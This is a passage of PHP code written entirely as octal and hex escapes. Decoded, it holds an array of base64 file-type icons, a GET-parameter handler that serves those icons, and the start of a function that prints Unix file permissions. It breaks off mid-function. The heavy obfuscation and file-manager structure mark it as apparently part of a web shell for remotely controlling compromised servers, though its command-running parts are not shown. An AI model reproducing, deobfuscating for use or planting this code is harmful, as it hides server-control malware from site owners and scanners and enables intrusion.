3\172\x44\170\143\x32\x33\102\x65\152\x4c\x51\x49\x41\101\x41\105\105\101\x76\x76\70\x43\x41\167\110\x2f\x41\120\x54\x31\x2f\154\x2f\x6c\x37\x50\x2b\x2f\111\x52\x77\110\x52\105\105\x74\x42\121\x41\x6d\x4a\x67\x49\101\x2b\147\64\x47\101\x4b\110\x55\x42\147\103\107\165\146\x51\101\71\146\x62\x31\101\x41\147\106\101\x77\101\123\x45\x41\x77\101\x39\146\146\53\x41\117\152\x72\70\121\101\x46\102\147\x6f\x62\x2f\x50\172\x39\131\121\x4b\111\66\x65\120\120\57\67\x71\x48\x37\172\102\120\65\107\x4a\x68\x59\164\146\152\132\62\x4b\121\x41\x6e\x71\x66\103\x65\x68\x55\x6f\x49\x55\115\x6e\106\172\115\x44\102\x75\166\70\124\101\163\117\120\x53\x65\x41\x57\x67\153\x30\107\166\x4d\104\x4e\x78\x63\x37\x41\x78\x43\166\x4f\x77\115\x34\163\111\x38\x51\112\146\x38\57\x77\163\x51\121\103\x7a\x62\142\57\71\x4c\x2f\166\107\114\x67\144\x39\x4b\153\x6f\110\x68\60\63\143\x47\x68\x6b\x75\x2f\x47\102\150\x65\146\x6d\126\147\53\x41\x6a\x45\x51\110\x46\147\170\104\x41\x7a\x72\104\x72\64\x6e\x63\x46\x4b\x2f\152\153\x44\104\170\x63\146\x4d\104\x77\x59\x47\x62\x69\64\117\102\x68\131\x67\x46\64\x48\102\163\x31\x2f\147\101\102\151\x4f\x6e\x66\71\x70\x2f\155\x72\x54\67\x38\x5a\x58\166\x39\x68\131\x48\152\x33\x6d\x34\110\150\70\x68\x4d\x47\x68\x71\165\x50\107\x42\147\x65\166\155\x52\x67\x65\x50\53\116\147\x65\110\120\x35\x2b\x38\115\x74\171\x39\70\x5a\114\152\x2b\53\104\60\x44\113\x2f\116\57\102\155\x34\x4f\144\x6d\104\101\x2f\x6d\104\x67\65\62\121\104\170\x7a\164\101\x41\x44\x47\x39\x66\x50\x79\x44\142\57\145\122\104\x77\x7a\124\x6a\166\170\155\101\x4a\x72\x42\x59\x41\170\x30\171\x56\53\x67\x7a\146\x65\x42\x42\x76\172\66\x38\x70\x66\x68\66\x34\120\x58\x44\117\x78\x63\x72\x41\170\57\57\x34\x4a\x69\x68\64\155\x42\104\x52\147\x56\x50\x44\x78\101\x6c\167\104\x5a\x6f\116\x67\x42\103\x43\103\x6d\x50\x7a\57\x2f\120\156\x31\x35\x2b\x69\130\104\x69\171\x75\x66\107\106\x35\53\x41\x4e\156\x41\x77\x4d\x44\66\x36\171\x66\x44\172\143\116\x50\x47\111\123\x2f\x76\127\142\x34\x2b\165\x49\x54\101\x79\x63\166\x45\61\151\143\155\x51\x55\131\154\141\171\x73\104\106\70\57\166\x77\x4d\x47\x4b\150\x4d\64\x6e\121\x41\105\105\116\117\172\x38\x34\164\62\x69\64\155\112\x4d\x48\x69\x59\143\x44\x4e\111\70\104\115\x79\x43\x41\x4a\144\x5a\151\x34\x46\152\x42\71\x4c\126\147\x5a\x39\126\x57\x34\107\x45\127\x6c\x65\102\147\127\x4a\x48\x77\170\x53\121\x45\x4f\131\x67\x64\110\65\x48\65\x6a\163\122\105\x54\106\x47\x66\x34\x44\60\167\125\157\x72\121\111\x45\105\x4e\x4f\104\121\x35\x4d\127\x71\62\150\71\x75\123\x55\x74\x79\x38\105\x67\x4a\143\x44\101\x49\x4d\x66\117\x77\117\x43\x70\171\x38\106\x51\153\x69\142\117\x6f\x4b\x62\x4f\x79\x2b\x41\x61\x4b\x4d\142\147\131\146\151\x52\x51\x56\170\x45\104\x4f\x68\153\106\147\132\x6d\131\112\x70\x35\70\146\167\112\115\x47\152\x2f\101\153\117\101\153\x51\x45\147\x67\x46\150\53\146\x48\152\x35\x34\165\x4c\161\x31\x50\150\x54\165\162\115\x58\120\130\x71\153\x70\163\x72\x35\x2b\121\x4d\x44\104\x7a\143\x7a\101\65\x63\x4d\x4c\x38\x4f\172\x4e\x35\70\x59\x42\116\53\x64\x59\x37\x44\x53\x45\107\114\x67\x46\170\x4a\x6c\53\101\x55\115\150\x33\x2f\57\x2f\x6a\x44\x49\x79\163\147\x44\167\x77\57\x22\x2e\xa\42\153\x67\166\x38\115\101\x41\110\105\104\x50\114\110\x31\71\x65\120\156\x70\172\x63\163\155\x7a\114\172\x64\x75\x76\106\124\x34\172\x4b\x47\165\143\x4f\x50\53\115\x34\x66\146\156\132\167\171\x4b\162\x49\x38\132\142\104\126\x45\x47\102\123\125\116\x59\x44\x71\147\122\162\53\x2f\127\144\x67\x41\164\x4c\x33\67\x74\x78\x67\x45\x41\132\66\131\x39\130\113\x6c\x61\x63\101\x41\157\147\106\154\x6d\156\53\x66\x6e\164\x33\130\53\x62\166\x36\x65\60\x4c\x36\164\162\x38\120\67\x35\67\x42\x34\171\x4a\x76\167\x7a\143\166\x49\x49\x4d\x62\102\171\143\104\x48\53\42\x2e\12\x22\x42\156\x76\x30\x4e\172\111\63\101\x44\x4d\x48\x77\x35\53\70\57\x42\x67\61\x64\131\167\131\155\x4e\155\x42\x2b\131\127\130\154\101\x41\x67\147\x52\105\x34\107\x78\163\x6e\x55\x65\145\x76\x30\71\x2b\x7a\x61\154\x76\x44\x73\x79\123\117\x67\x77\131\172\147\104\101\x32\171\x39\124\x2f\x44\146\x33\152\x75\x42\x44\x46\102\x50\x42\x59\x57\116\163\142\x62\x4e\70\x36\146\x42\101\x67\167\101\x44\x33\x6e\x55\61\x37\x57\62\x46\62\153\x41\x41\101\x41\x41\x45\x6c\x46\124\x6b\x53\x75\121\155\103\x43\42\x2c\12\12\x22\x65\x78\164\x5f\x6a\160\147\42\x3d\76\12\x22\x69\x56\102\117\x52\167\60\113\107\147\x6f\x41\101\x41\101\x4e\x53\125\150\x45\x55\147\101\101\101\x42\101\x41\x41\101\101\121\103\x41\x59\x41\101\101\101\146\70\x2f\x39\x68\101\x41\x41\103\x6a\x55\154\x45\x51\126\121\64\152\127\62\123\124\127\x38\x6a\x52\x52\103\x47\156\53\162\160\x2b\x55\x68\107\x64\155\x4b\x50\x4e\65\131\150\x77\131\x46\111\104\x75\170\110\x44\162\156\64\110\165\x36\122\x79\105\x2f\131\103\x38\157\x50\171\102\53\102\x41\x7a\x6c\x79\172\157\x55\152\x53\x41\147\112\162\x62\122\x49\65\x49\x4b\105\105\155\x6d\x46\131\x4b\x4e\111\x33\x6c\x6c\62\x62\x4c\x50\170\x62\x70\132\170\x6e\x4a\65\165\x44\x6a\116\x78\x73\x68\x4a\71\66\x47\x71\160\x75\160\65\x36\165\x39\x34\x57\65\x78\167\x48\x42\x77\146\x42\x2f\x76\x37\x2b\x6c\x30\157\x70\x35\x5a\167\x54\147\x50\53\x4a\152\x6d\x6f\126\122\x65\x48\x32\x39\166\141\53\x50\x6a\60\x39\x4c\124\124\x41\x79\163\162\x4b\64\160\x4d\x2f\60\x36\71\x2b\x66\104\x59\101\x35\x76\143\101\105\x45\x42\x45\x51\x41\x51\154\x35\146\156\172\x33\151\x70\112\153\156\167\x44\154\111\x41\x6f\151\x6c\x51\131\150\152\x53\141\x44\x51\103\125\x53\x46\153\163\x67\154\x52\x46\x53\x6c\x51\132\x6c\122\x41\x76\x4c\x72\103\x31\x74\x61\127\102\113\167\x30\121\x42\x49\106\141\x72\163\126\x73\x66\x42\147\x67\126\x56\163\x42\x42\105\106\105\151\110\167\x50\102\67\124\x69\151\114\144\x58\150\163\141\151\x30\117\x6c\60\116\105\x43\65\x61\x65\x32\164\112\70\165\x45\x64\x63\130\157\x33\132\124\70\x32\x6a\x41\61\102\x65\111\143\x6a\x63\x67\156\104\152\x53\145\105\x70\x59\104\103\x37\172\154\x7a\146\103\x43\x56\x71\164\x31\x43\167\152\x44\125\120\x33\x38\67\111\x77\x66\57\x6e\x69\x4a\x72\x7a\61\x38\x7a\x38\x50\x58\110\x72\x58\x49\x35\63\106\57\x6c\123\x51\x59\x55\167\70\163\123\x6f\x41\x61\x58\104\142\x76\153\x61\x56\57\53\x33\143\x42\156\150\x63\166\x38\105\107\x79\x50\102\71\x65\114\x66\122\x34\x31\113\x6e\x52\x71\x51\x63\60\167\147\142\x35\71\x42\53\53\110\57\x33\113\114\170\x65\156\162\103\57\143\x5a\172\61\141\x39\145\x59\x41\63\x2f\x64\126\147\x64\x42\131\70\x48\x6a\x59\152\156\x6a\x51\104\x71\x6a\x48\x37\x78\x6a\x6b\146\x2f\x46\153\x2b\111\162\156\x2b\x55\164\53\145\166\x30\142\66\144\125\111\147\x4d\146\x52\x5a\x77\122\x42\x63\101\x74\x51\x53\161\156\x2b\x78\60\x30\x2b\x2f\127\x6a\113\x69\x32\156\107\70\142\x39\152\160\x70\x65\172\171\x6c\x4b\146\x75\x75\67\x79\x78\142\61\x75\65\131\162\167\161\x50\141\x41\x79\61\x64\166\142\147\110\117\117\127\156\x56\x6d\x37\122\x6f\x38\x6f\x6c\172\63\x50\x6b\172\164\x2f\53\150\x4b\160\142\113\64\x71\x66\x71\x71\x5a\x6f\104\171\156\171\132\x4d\115\x61\121\132\x52\x6d\124\171\131\123\151\113\x4f\x68\62\x75\62\x52\x5a\x68\x6a\107\x47\x4f\x49\65\132\x57\x31\166\x44\x4f\132\153\x58\161\101\x71\x67\x62\x75\152\130\x31\x39\x63\x4d\102\x67\x50\117\x7a\163\64\167\170\x6e\x42\x79\x63\x73\x4a\64\120\113\x62\144\x62\155\x4f\115\x77\123\105\x55\61\x6d\113\x74\x5a\121\x37\167\x50\105\x38\x72\160\144\66\124\165\142\x53\60\x78\120\142\x32\116\166\x31\53\x6e\x7a\x7a\x50\x79\142\113\x4d\x38\57\116\x7a\103\155\x4e\170\x74\x6d\x41\x32\x6d\70\156\144\111\130\157\x33\124\60\152\x54\x6c\x46\x36\166\122\x37\x50\x5a\x70\110\113\111\156\132\x30\x64\162\111\127\x4e\x6a\x52\x35\x51\157\114\x58\110\x38\x66\110\170\65\x65\67\x75\x62\161\x6c\101\x61\x36\61\166\117\155\71\165\x62\160\111\153\x79\x58\164\x71\x6e\103\x74\x6e\x41\x35\x59\157\151\150\x67\x4f\150\x37\70\146\110\150\66\x2b\x6e\151\166\111\x38\x2f\167\x69\x54\x64\x4e\x76\156\x58\115\127\163\x4d\64\65\x4b\171\114\x57\117\127\145\x64\x77\x78\x62\x57\x46\x63\142\115\x62\x42\x53\x47\x73\70\154\153\153\150\x30\144\110\130\x30\63\x47\x6f\62\x6d\101\x50\70\102\132\x4e\x67\x43\104\131\x64\155\71\x6f\64\101\101\x41\101\x41\123\125\126\x4f\122\x4b\65\x43\x59\111\111\75\x22\x2c\12\x22\145\170\x74\137\x70\x68\x70\x22\x3d\x3e\xa\42\122\60\x6c\107\x4f\104\154\150\x45\101\x41\121\101\101\101\x41\x41\x43\110\65\x42\x41\105\101\101\x41\105\101\x4c\101\x41\101\x41\101\101\121\x41\102\101\x41\x67\x41\101\x41\101\101\101\101\101\x41\111\x6d\x44\101\x36\150\x79\x35\x72\x57\60\110\107\x6f\163\x66\146\x73\144\x54\x70\161\x76\x46\x6c\147\x22\x2e\xa\42\x74\60\x68\153\171\132\63\x51\66\161\x6c\157\132\x37\112\x69\x6d\157\155\x56\x45\x62\x2b\165\x58\101\x41\x41\x4f\167\x3d\x3d\x22\x2c\xa\x22\145\170\x74\x5f\x70\154\42\x3d\76\xa\42\x52\60\x6c\x47\x4f\x44\x6c\x68\106\101\101\x55\101\113\114\57\101\x50\x2f\x34\57\70\x44\x41\167\110\71\57\101\120\57\x34\x41\x4c\53\57\x76\167\x41\101\x41\x41\x41\x41\x41\x41\101\x41\101\x43\x48\65\102\101\105\x41\x41\x41\x45\101\x4c\101\x41\x41\x41\101\101\125\101\x42\x51\x41\x51\101\x4d\x6f\x22\56\12\42\x47\114\x72\x63\x33\x67\x4f\x41\x4d\131\122\x34\117\x4f\x75\x64\162\145\145\x67\x52\154\x42\x57\x53\112\61\x6c\x71\x4b\65\x73\66\64\114\x6a\127\x46\x33\143\x51\115\152\x70\112\160\x44\146\x36\x2f\57\x41\102\101\101\67\42\54\xa\42\x65\x78\164\137\163\x77\146\x22\75\76\12\42\122\60\x6c\107\117\x44\154\x68\106\x41\x41\x55\x41\115\121\122\x41\120\53\143\x6e\120\x39\x53\125\163\x34\101\x41\120\x2b\143\x41\x50\57\x4f\x41\x49\x51\x41\101\x50\71\152\101\x4d\65\x6a\156\115\x36\143\x59\70\x36\143\156\113\x58\117\71\x38\142\x65\170\x70\167\x41\101\x50\x38\170\x41\x50\57\x4f\42\56\12\x22\x6e\x41\101\x41\101\120\x2f\x2f\x2f\x2f\x2f\x2f\57\x77\101\x41\101\x41\x41\101\101\101\101\101\101\101\101\x41\x41\101\101\x41\101\101\x41\101\101\101\x41\101\101\x41\101\x41\101\101\101\101\101\101\101\x41\x41\x41\x41\101\101\x41\x41\101\x41\101\101\x41\101\101\x41\x41\x41\x43\110\x35\102\x41\105\101\42\56\12\42\x41\x42\105\x41\114\101\101\x41\101\x41\x41\125\x41\x42\121\x41\x41\101\126\67\x59\x43\x53\x4f\132\107\155\x65\x36\120\x6d\x73\x62\x4d\x75\x71\125\103\172\x50\60\x41\120\114\x7a\x68\x41\142\165\x50\156\121\x41\167\145\105\x35\62\x67\x30\146\104\x4b\103\115\107\x67\157\x4f\x6d\64\x51\x42\x34\x47\101\x22\56\12\x22\x47\102\147\141\124\x32\x67\x4d\x51\x59\x67\x56\x6a\x55\x66\123\x54\x33\131\157\x46\107\113\x42\122\x67\102\161\120\152\x67\x59\x44\x45\106\x78\130\x52\x70\x44\107\105\111\101\x34\170\x41\x51\x51\116\x52\61\116\110\157\115\x45\x41\x41\x43\101\102\106\x68\x49\172\70\x72\103\x6e\143\115\101\x47\147\103\x22\x2e\12\42\116\171\x73\114\x6b\104\117\124\x53\103\x73\x4a\x4e\104\112\141\x6e\124\125\x71\114\161\x4d\62\x4b\141\141\156\161\x42\x45\x68\x41\x44\163\75\x22\54\12\42\145\170\164\137\x74\141\x72\42\75\x3e\12\42\x52\60\x6c\x47\117\104\x6c\150\105\x41\101\121\101\107\x59\x41\101\103\x48\65\x42\x41\105\x41\x41\105\x73\x41\114\x41\101\x41\x41\101\x41\121\x41\102\x41\x41\150\147\x41\101\101\102\x6c\x4f\101\x46\147\x64\x41\106\101\x41\101\111\x59\x43\125\x77\x41\70\x5a\167\101\70\x5a\71\104\x59\64\112\x49\103\42\56\12\x22\x57\x76\57\x2f\x2f\167\x43\x49\127\x42\x45\62\101\x41\101\171\125\112\151\143\161\111\x53\x48\154\64\x43\101\x41\120\x44\x34\57\x2b\x44\x67\70\x50\130\x36\57\65\x4f\x58\x70\114\x37\x48\60\53\x2f\62\57\141\107\x6d\163\x54\x49\171\x4d\x74\124\143\65\x50\x2f\x2f\x73\146\x4c\x35\57\70\130\x46\x22\56\12\x22\110\147\x42\x59\x70\x77\102\x55\154\147\102\x57\x6e\61\x42\121\x41\x47\70\x61\111\x41\102\121\x68\122\142\x66\x6d\167\104\143\153\x76\53\110\x31\x31\x6e\157\165\x45\x4c\154\x72\151\x7a\x69\160\146\53\x56\x33\x6e\x50\x41\x2f\x34\x30\103\x55\x7a\x6d\x6d\57\167\x41\64\130\x68\126\104\x41\101\107\104\42\56\12\x22\x55\x79\x57\144\57\60\151\164\57\x31\165\61\57\63\x4e\x7a\101\120\x39\x35\60\120\x39\x39\60\x6d\117\x35\57\67\x76\61\x34\131\x7a\166\172\x58\114\x72\x77\x6f\x58\111\57\x35\166\x53\57\x37\104\153\x2f\167\102\x58\157\x76\71\x73\171\x76\122\x6a\167\x4f\x68\x61\164\121\x43\x48\x56\x31\67\x70\x22\x2e\12\42\165\157\60\107\x55\x51\x42\x57\156\x50\x2b\53\70\114\x6d\x35\x41\120\x2b\x6a\65\121\102\125\154\x41\x43\x4b\127\147\x41\x34\x62\152\x4a\121\101\x41\x41\x41\101\101\101\x41\101\101\x41\101\101\101\x41\x41\x41\x41\101\x41\101\x41\x41\x41\x41\101\x41\101\x41\x41\x41\x41\101\x41\x41\x41\101\101\x41\101\42\56\12\x22\x41\101\101\x41\x41\x41\x41\101\101\x41\x41\101\101\101\101\101\101\x41\101\101\x41\x41\101\101\101\101\101\x41\x41\x41\101\x41\101\x41\101\x41\101\x41\x41\101\101\x41\101\x41\101\101\x41\101\x41\x41\x41\x41\101\x41\x41\x41\101\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\101\x41\x41\101\x41\101\x22\x2e\12\x22\x41\x41\101\101\x41\x41\x41\101\x41\101\101\x41\101\x41\101\x41\x41\x41\101\101\101\x41\101\101\x41\x41\101\101\x41\101\x41\x41\x41\x41\101\101\101\x41\x41\101\x41\101\101\101\x41\101\x41\x41\x41\101\101\101\101\x41\101\101\x41\101\x41\x41\x41\101\101\x41\101\101\x41\101\x41\x41\101\x41\x41\x41\x41\101\42\56\xa\x22\x41\101\x41\101\101\101\x41\x41\x41\x41\101\101\x41\101\x41\101\101\x41\101\x41\101\x41\145\145\x67\101\113\103\x67\64\x53\106\x53\170\x59\x4e\105\167\x34\x67\x4d\x67\x53\x4f\152\x34\x38\104\106\101\x63\x48\105\x55\111\132\x52\x45\x59\157\112\104\x51\x7a\x50\124\x34\x2f\x41\167\143\121\x43\121\153\147\x22\56\12\x22\x47\167\151\x70\x71\161\153\x71\x41\x78\x49\x61\x46\x52\x67\130\104\x77\117\61\164\x72\x63\x41\x75\142\x71\x37\166\x49\145\x4a\x44\x69\167\150\x42\x63\x50\105\170\101\x79\x54\x6c\123\x45\132\117\172\157\x35\x4b\x54\x55\170\115\103\163\166\x44\x4b\117\154\123\x52\x73\x63\110\x44\167\x65\x48\153\115\144\x22\56\12\x22\x48\125\143\x4d\x72\67\107\172\x42\x75\146\x6f\x36\101\171\x38\x37\114\x75\53\151\151\60\x66\101\146\x50\60\71\x41\166\x49\105\x52\x38\132\x4e\x6a\x63\64\x51\x53\125\x6d\x54\x6f\x67\131\163\143\x42\141\101\x69\126\x46\x6b\x43\150\131\171\x42\x43\x49\151\x77\x58\x6b\132\104\62\157\122\x33\x46\x42\x22\56\xa\42\165\x34\164\114\x41\x67\105\x41\117\x77\75\75\x22\54\12\12\x22\145\x78\164\x5f\x74\x78\x74\42\75\76\xa\42\151\x56\x42\x4f\122\x77\60\x4b\x47\x67\x6f\101\x41\101\x41\116\x53\125\x68\x45\125\x67\x41\x41\101\x42\101\101\x41\101\101\x51\x43\101\x59\x41\101\101\x41\146\x38\57\x39\150\101\101\x41\101\103\130\x42\x49\127\130\x4d\101\101\101\163\124\101\x41\101\x4c\105\167\x45\101\155\160\x77\x59\x41\101\x41\x41\x42\107\x64\x42\x54\x55\105\x41\101\114\107\117\146\x50\x74\x52\x6b\167\101\101\101\103\102\152\x53\106\x4a\x4e\x41\101\x42\x36\112\x51\x41\x41\x67\x49\x4d\x41\101\x50\156\x2f\101\x41\103\x41\x36\x51\x41\101\x64\x54\x41\101\x41\117\160\147\x41\x41\x41\66\155\x41\x41\x41\106\x32\53\x53\x58\x38\126\107\x41\101\x41\x43\155\x30\x6c\105\x51\x56\122\64\62\x6d\114\x73\67\x2b\x2f\57\x7a\60\101\102\101\101\150\101\x63\x52\x7a\142\101\x41\x6a\104\x41\102\104\x38\x67\160\x58\131\171\x36\117\x34\132\x78\x4b\127\x51\103\x78\101\x54\125\x75\102\x34\53\101\64\x67\x6c\x44\70\123\124\57\x39\151\x41\152\x72\63\x76\x44\157\142\x49\x64\172\x65\x61\x4e\105\152\156\x38\x70\x43\x56\131\143\161\172\x48\161\x32\x4a\x50\x63\x4e\124\x6d\130\x47\x56\130\x6c\105\60\x41\x73\x4d\112\x50\115\126\132\x6b\x5a\57\152\115\167\x4d\71\150\x6f\x73\x44\104\70\x41\67\162\x70\110\x79\x4d\x54\167\65\57\120\x37\170\151\x2b\120\x6e\x2f\103\x77\x43\167\x69\172\x63\x44\x45\x78\143\120\x77\71\71\144\166\x68\162\x39\101\171\x54\71\x2f\x2f\x38\112\144\101\x42\x42\101\143\101\115\105\x75\x4a\155\147\x4c\x43\x67\116\x4e\117\124\120\66\x30\x6b\x4d\x44\104\171\143\x44\112\x38\146\x79\152\103\167\x4b\x5a\153\x78\143\105\x71\x72\115\x50\x7a\71\57\x5a\x50\150\x2f\x33\x2b\64\x4e\147\x61\101\x41\107\x4c\102\65\151\x39\121\x6f\120\x78\53\144\64\x6d\x42\x38\126\143\x76\x41\53\163\110\102\x67\x62\155\x42\64\x34\x4d\120\x36\x57\x4e\107\132\x6a\53\x2f\107\146\64\x42\70\x4c\x2f\x2f\x6a\x47\167\x63\x55\104\x55\101\x67\x51\121\105\x31\x59\104\x2f\147\107\x4a\114\x2f\115\x59\x57\x42\155\x2f\x4d\146\171\67\171\x38\114\167\x6d\x31\165\120\147\125\x4e\x65\x69\x2b\110\57\156\x31\71\x41\62\57\70\172\x2f\105\130\171\101\153\101\x41\x73\127\x43\172\x2f\x65\57\x48\127\167\170\x4d\x76\63\x63\171\x4d\110\x78\127\x59\120\152\171\x53\x5a\x53\x42\171\124\171\x43\x67\132\x48\150\110\x39\150\x6d\x6b\x47\x61\121\x49\124\101\x41\105\105\103\x59\102\x67\x41\116\x2f\57\71\150\115\121\x4d\x72\115\x78\x76\104\x76\67\x64\x43\x44\x44\71\154\57\x52\x69\64\x35\130\125\132\57\x76\x33\66\x42\147\172\101\x66\x77\171\115\152\111\x77\x4d\x7a\x4d\x7a\115\x63\120\125\101\x41\121\124\63\101\163\150\x55\x6b\115\166\57\x66\162\156\x44\x77\x4d\x78\x36\101\170\147\111\x71\147\x7a\146\166\151\157\167\163\117\x72\x36\x67\60\x51\x68\x69\x70\155\x59\x67\103\x37\64\150\x32\111\150\x51\x41\104\x42\x58\146\104\x39\x2b\x77\53\147\66\x61\167\x4d\124\112\57\x32\x4d\x4c\103\x79\x43\x44\x44\x38\x2b\70\152\111\70\x4a\61\x62\147\x34\106\142\121\160\156\x68\x48\x7a\x44\153\x66\x77\x4c\x54\101\x55\152\116\x6a\x78\x2b\x2f\x47\124\147\64\x57\102\x6e\x34\53\x50\x6a\101\x2b\147\101\x43\x43\117\105\106\131\x4c\172\57\53\57\x61\115\x67\145\x58\x6e\x4b\x77\x59\x47\144\151\x57\x47\x72\x35\70\x2f\115\146\x78\x58\x63\x6d\120\x34\70\166\125\67\167\57\x63\166\156\x78\156\x2b\x2f\120\156\104\70\101\x75\131\x44\153\x44\x68\70\x50\x76\x33\114\67\x67\x32\x67\101\103\103\107\70\101\x45\71\102\143\157\x6a\x76\x38\x79\155\124\x4c\x38\x2f\x2f\123\124\64\143\x33\146\124\x30\x43\104\x52\102\x6a\53\x66\146\x67\x49\x39\x76\145\x66\120\x33\x38\x5a\114\154\x30\66\103\x39\143\x49\131\167\115\x45\105\x4d\x49\101\157\x50\x2b\53\x2f\57\162\110\143\x50\166\121\x4a\121\132\x68\x52\124\60\107\102\153\126\x48\x42\x69\x5a\x67\x66\x4c\x4b\x77\x4d\x41\x4f\x64\x7a\x41\65\125\x77\121\65\x57\106\x78\64\x65\x44\161\132\102\x79\142\x69\x77\163\x46\101\131\x49\x49\101\121\102\152\101\x79\x4d\x4c\x42\170\x38\x6a\x49\x49\113\150\163\x79\70\x47\x6d\x5a\101\x36\115\x4e\155\x4c\x43\102\x67\x70\x79\x63\x37\101\171\x73\162\x4b\170\101\57\x33\x2b\104\x32\x77\x37\x56\172\101\125\x4b\117\157\101\101\147\150\166\101\167\163\x7a\x45\x77\103\111\x71\170\x61\x41\x4b\170\116\x67\x41\x46\170\x63\x33\x73\155\x59\x57\x57\116\121\x41\x42\x42\x41\114\124\112\x42\x59\x67\113\x77\x5a\x42\101\x41\103\x44\x41\x41\x4b\127\146\x74\166\110\x55\x54\101\153\x67\x41\x41\x41\101\102\112\122\x55\65\105\162\x6b\x4a\147\x67\x67\75\x3d\42\54\xa\xa\x20\51\73\xa\40\xa\40\151\146\40\x28\x24\137\x47\105\124\x5b\141\143\x74\x5d\x20\75\75\40\x22\151\155\147\x22\51\x20\173\12\xa\x68\x65\x61\144\145\x72\50\42\x43\157\x6e\x74\145\156\164\x2d\164\x79\160\x65\x3a\x20\x69\155\x61\x67\x65\x2f\147\151\146\x22\x29\73\xa\x68\145\x61\x64\x65\x72\50\x22\103\141\143\x68\145\55\143\x6f\x6e\x74\x72\157\154\x3a\x20\160\x75\x62\x6c\x69\x63\42\51\x3b\12\150\x65\141\x64\145\162\x28\42\105\170\160\151\x72\145\163\x3a\x20\x22\56\144\x61\x74\145\x28\x22\162\x22\54\x6d\x6b\x74\x69\155\x65\x28\60\54\x30\54\60\54\61\54\61\54\x32\60\63\x30\x29\x29\51\x3b\xa\150\x65\141\x64\x65\x72\50\x22\103\141\143\x68\145\55\143\x6f\156\164\162\x6f\154\x3a\x20\155\x61\x78\x2d\x61\147\145\75\42\56\50\66\60\x2a\66\x30\52\62\64\x2a\x37\x29\x29\73\xa\x68\x65\x61\x64\145\162\50\x22\114\141\x73\x74\55\115\x6f\144\x69\x66\151\145\144\x3a\40\x22\x2e\144\141\x74\x65\50\42\x72\x22\x2c\x66\x69\x6c\x65\x6d\164\151\155\x65\50\x5f\x5f\x46\x49\114\105\137\x5f\51\x29\x29\73\xa\12\x24\x69\x6d\141\147\145\x20\75\x20\44\151\155\141\x67\x65\163\x5b\x24\137\107\x45\x54\133\47\151\x6d\147\x27\x5d\x5d\73\xa\x20\40\x65\143\x68\x6f\40\x62\x61\163\x65\66\x34\x5f\x64\x65\143\x6f\144\x65\50\44\151\x6d\x61\x67\x65\51\x3b\12\40\x20\x64\x69\145\50\x29\73\12\x7d\12\57\57\x20\106\x75\x6e\143\x74\x69\x6f\156\40\x66\x6f\x72\x20\x74\x61\142\x6c\145\x20\x64\x75\x6d\160\xa\146\x75\156\143\x74\x69\157\156\40\147\x65\164\160\x65\x72\155\x73\x20\50\44\x70\145\162\155\163\x29\x20\173\x20\57\57\40\74\55\x2d\55\40\x74\150\170\40\164\x6f\x20\x70\150\160\56\156\x65\x74\xa\12\xa\x69\x66\x20\x28\50\x24\x70\x65\162\155\x73\x20\46\x20\x30\170\x43\60\60\60\x29\40\75\x3d\x20\60\170\103\60\60\60\x29\x20\x7b\xa\x20\40\40\x20\x2f\57\40\123\157\x63\x6b\x65\164\xa\x20\40\40\x20\x24\151\156\x66\x6f\40\75\x20\47\163\x27\x3b\12\175\40\145\154\163\145\151\x66\x20\50\x28\x24\160\x65\162\x6d\x73\40\46\x20\x30\x78\101\60\60\x30\51\40\x3d\x3d\40\60\170\x41\60\60\60\51\40\173\12\40\x20\x20\40\x2f\x2f\40\123\171\x6d\142\157\x6c\151\x63\x20\x4c\x69\156\x6b\xa\40\x20\x20\40\44\x69\x6e\146\x6f\x20\x3d\40\47\154\47\x3b\12\x7d\x20\x65\x6c\163\145\x69\x66\40\x28\50\x24\160\145\x72\155\x73\x20\46\x20\60\170\70\x30\60\60\x29\x20\75\x3d\x20\60\170\70\x30\x30\60\51\40\x7b\12\40\x20\40\x20\57\57\40\122\x65\147\165\x6c\141\x72\xa\x20\40\40\40\x24\151\156\x66\x6f\x20\75\x20\47\x2d\x27\73\12\x7d\x20\145\154\x73\x65\x69\x66\40\50\x28\44\x70\145\x72\x6d\163\40\x26\x20\x30\x78\x36\60\60\x30\51\40\75\75\x20\x30\x78\66\60\60\x30\x29\x20\173\xa\x20\x20\40\x20\x2f\57\x20\102\x6c\x6f\143\x6b\x20\163\160\x65\x63\151\x61\154\xa\x20\40\x20\x20\x24\151\156\146\x6f\x20\x3d\x20\x27\142\x27\x3b\12\x7d\40\x65\x6c\x73\145\x69\146\x20\x28\50\44\x70\x65\x72\x6d\x73\40\x26\x20\x30\170\x34\x30\x30\60\51\x20\x3d\x3d\x20\60\x78\64\60\x30\x30\51\x20\173\xa\x20\40\x20\40\57\x2f\x20\x44\151\x72\145\x63\x74\157\x72\x79\12\x20\x20\40\x20\x24\151\156\146\157\40\x3d\40\47\x64\47\73\xa\175\x20\145\x6c\x73\145\151\x66\40\x28\50\44\160\x65\162\155\x73\40\46\40\x30\x78\x32\60\x30\x30\x29\x20\x3d\75\x20\x30\170\x32\x30\x30\60\51\40\x7b\12\40\x20\x20\40\57\x2f\40\x43\x68\141\x72\x61\143\x74\x65\162\x20\163\x70\145\x63\x69\x61\154\12\40\40\40\40\44\151\x6e\146\x6f\40\75\x20\47\143\47\x3b\12\175\x20\x65\x6c\x73\145\x69\x66\40\50\50\x24\x70\145\x72\155\163\x20\x26\40\60\x78\61\60\60\x30\x29\x20\75\x3d\x20\60\x78\x31\60\60\60\x29\40\x7b\xa\40\40\x20\40\x2f\57\40\x46\x49\106\x4f\x20\160\151\x70\x65\12\x20\40\40\x20\x24\151\x6e\146\x6f\40\x3d\40\x27\x70\x27\x3b\xa\x7d\40\145\x6c\x73\145\40\x7b\12\x20\x20\x20\x20\x2f\x2f\x20\x55\x6e\153\x6e\157\x77\x6e\12\40\40\40\x20\x24\151\156\x66\157\x20\75\x20\47\165\x27\73\xa\x7d\12\xa\57\57\x20\x4f\167\x6e\145\x72\12\44\x69\x6e\x66\x6f\40\56\75\x20\x28\x28\x24\160\145\x72\155\x73\x20\x26\40\x30\x78\x30\61\x30\x30\x29\x20\77\40\47\x72\x27\40\72\x20\x27\55\x27\x29\x3b\xa\x24\x69\x6e\x66\157\40\x2e\75\40\50\50\44\160\x65\x72\155\163\40\x26\40\60\170\x30\x30\70\x30\51\40\77\40\x27\x77\47\x20\72\x20\47\x2d\47\51\73\12\x24\151\156\x66\x6f\40\56\x3d\x20\x28\50\x24\x70\x65\162\155\163\40\46\40\x30\x78\x30\60\x34\60\x29\x20\x3f\12\40\40\40\40\40\40\x20\40\40\40\x20\40\50\x